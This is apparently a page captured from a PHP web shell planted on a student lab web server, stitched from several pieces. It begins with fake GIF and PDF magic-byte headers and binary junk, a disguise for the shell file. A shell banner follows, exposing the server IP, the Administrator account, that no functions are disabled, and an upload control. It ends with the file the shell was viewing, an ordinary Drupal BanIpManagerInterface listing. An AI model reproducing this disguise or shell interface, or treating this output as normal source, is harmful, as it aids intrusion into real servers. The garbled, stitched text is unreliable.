GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/ban/src/ |
Upload File : |
<?php namespace Drupal\ban; /** * Provides an interface defining a BanIp manager. */ interface BanIpManagerInterface { /** * Returns if this IP address is banned. * * @param string $ip * The IP address to check. * * @return bool * TRUE if the IP address is banned, FALSE otherwise. */ public function isBanned($ip); /** * Finds all banned IP addresses. * * @return \Drupal\Core\Database\StatementInterface * The result of the database query. */ public function findAll(); /** * Bans an IP address. * * @param string $ip * The IP address to ban. */ public function banIp($ip); /** * Unbans an IP address. * * @param string $id * The IP address to unban. */ public function unbanIp($id); /** * Finds a banned IP address by its ID. * * @param int $ban_id * The ID for a banned IP address. * * @return string|false * Either the banned IP address or FALSE if none exist with that ID. */ public function findById($ban_id); }